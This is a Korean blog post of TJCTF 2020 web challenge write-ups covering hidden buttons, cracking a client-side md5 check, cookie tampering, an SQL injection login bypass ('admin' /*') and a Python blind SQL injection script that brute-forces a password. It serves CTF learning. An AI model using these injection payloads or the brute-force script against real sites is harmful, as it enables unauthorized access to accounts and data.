TJ2020] Write ups - Web

노션으로 옮김·2020년 5월 26일

CTF web

wargame

목록 보기

52/59

WEB

Broken Button

This site is telling me all I need to do is click a button to find the flag! Is it really that easy?

문제 페이지에 접속하면 동작하지 않는 버튼이 있다.

풀이

소스를 보면 flag를 출력하는 페이지로 이동할 수 있는 버튼이 숨겨져 있다.
링크로 이동하면 플래그를 확인할 수 있다.

tjctf{wHa1_A_Gr8_1nsp3ct0r!}

Could you login into this very secure site? Best of luck!

접속해보면 로그인 페이지가 나온다.

풀이

로그인 버튼을 누르면 checkUsername()이 호출되고

checkUsername = function() {
    username = document[_0x4a84('0x1')]('username')[0x0]['value'];
    password = document[_0x4a84('0x1')]('password')[0x0][_0x4a84('0x3')];
    temp = md5(password)[_0x4a84('0x2')]();
    if (username == _0x4a84('0x6') && temp == _0x4a84('0x4')) alert(_0x4a84('0x0') + password + '890898}');
    else alert(_0x4a84('0x5'));
};

이 함수는 입력받은 패스워드를 md5 해쉬한 결과를 _0x4a84('0x4')와 비교한다.

_0x4a84('0x4')를 md5 decrypt하면 원본 패스워드를 얻을 수 있고, 구한 값으로 로그인 하면 flag를 alert로 출력해준다.

tjctf{horizons890898}

Sarah Palin fanpage

Are you a true fan of Alaska's most famous governor? Visit the Sarah Palin fanpage.

접속해보면

팬 페이지가 나오고 VIP area에 접근하면 Top 10 moments에서 10개의 좋아요를 눌러야 페이지를 확인할 수 있다는 문구를 확인할 수 있다.

풀이

좋아요를 눌러보면 4개를 시도할 때 시간 당 좋아요 가능 횟수가 정해져 있다는 경고문이 출력된다.

좋아요를 눌렀을 때 호출되는 함수는 doLike()이고

onclick = doLike(10);

페이지 소스를 보면 likes.js를 임포트하고 있다.

<script src="javascripts/likes.js"></script>

likes.js를 보면 doLike()를 찾을 수 있으나 좋아요 개수를 검사는 서버에서 이뤄졌었다.

let doLike = (value) => { 
    var ajax_params = {
		'url': 'likesWorker',
		'type': 'get',
		'data': {
			'choice': value
		},
		'success': (responseText) => {
		    if (responseText == 'failed') {
		        alert('To prevent spam, you can only like five moments at a time! To like this moment, unlike another one and try again.')
		    }
		    else {
		        if (document.getElementById("button" + value).innerHTML == "Unlike this moment") {
		            console.log("Unliking moment " + value)
		            document.getElementById("button" + value).innerHTML = "Like this moment";
		        }
		        else {
		            console.log("Liking moment " + value)
		            document.getElementById("button" + value).innerHTML = "Unlike this moment";
		        }
		        console.log(responseText)
		        document.getElementById("moment" + value).innerHTML = document.getElementById("moment" + value).innerHTML.substring(0, document.getElementById("moment" + value).innerHTML.lastIndexOf("(") + 1) + responseText + " likes)"; 
		    }
		}
	}

	$.ajax(ajax_params);
}

다른 방법을 찾기 위해 쿠키를 확인하니 data라는 쿠키가 있었고 base64 디코딩하여 확인한 값은

{"1":false,"2":false,"3":false,"4":false,"5":false,"6":false,"7":false,"8":false,"9":false,"10":false}

따라서 모두 true로 변경해준 값을 쿠키로 설정하여 VIP area에 접근하면 플래그를 확인할 수 있다.

tjctf{C4r1b0u_B4rb1e}

Login as admin you must. This time, the client is of no use :(. What to do?

간단한 로그인 페이지가 주어진다.

풀이

SQL 인젝션 문제이다.
소스를 보면 쿼리를 확인할 수 있다.

def get_user(username, password):
    database = connect_database()
    cursor = database.cursor()
    try:
        cursor.execute('SELECT username, password FROM `userandpassword` WHERE username=\'%s\' AND password=\'%s\'' % (username, hashlib.md5(password.encode())))
    except:
        return render_template("failure.html")
    row = cursor.fetchone()
    database.commit()
    database.close()
    if row is None: return None
    return (row[0],row[1])

필터되는 값을 확인하고 간단히

admin' || 1=1 #

를 해봤지만 실패했다.
참, 거짓을 표시해주지도 않아서 설마 time based injection인가 하고 benchmark, sleep 다 해봤지만 안됐다..

문득 /* */ 주석이 생각나서 사용해봤다.
패스워드는 md5 처리되기 때문에 스킵한다.

username: admin' /*

이럴수가..
주석을 안 닫았는데 왜 되는거지...?;

tjctf{W0w_wHa1_a_SqL1_exPeRt!}

Weak Password

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He's told me that his username is admin, and that his password is made of up only lowercase letters. (Wrap the password with tjctf{...})

접속하면 Login Sequel과 같은 페이지를 볼 수 있다.
하지만, 동일하게 참을 반환하는 쿼리를 인젝션해도 플래그는 확인할 수 없다.

풀이

Blind Sql Injection으로 패스워드를 알아내야 한다.
필터는 동일한 것 같다. like를 이용해 패스워드를 알아낼 수 있다.

import requests
import string

chars = string.lowercase + string.digits + '\\!\\@\\#\\$\\%\\^\\&\\*\\(\\)\\_\\+\\-\\=\\{\\}\\;\\,\\.\\/\\<\\>\\?'
flag = 'blinded'
while True:
    bf = len(flag)
    ch = ''
    idx = 0
    while idx < len(chars):
        if chars[idx] == '\\':
            ch = chars[idx] + chars[idx+1]
            idx += 2
        else:
            ch = chars[idx]
            idx += 1
        payload = 'admin\' and password like "'+ flag + ch + '%" /*'
        print payload
        res = requests.post('https://weak_password.tjctf.org/login', data = {'username': payload, 'password' : 'test'})
        if res.text.find('Congratulations!') != -1:
            print 'Found flag!!'
            print 'char: ' + ch
            flag += ch
            print 'flag: ' + flag
            break
    af = len(flag)
    if bf == af:
        print 'The work is done'
        break
print 'Complete flags is : tjctf{' + flag + '}'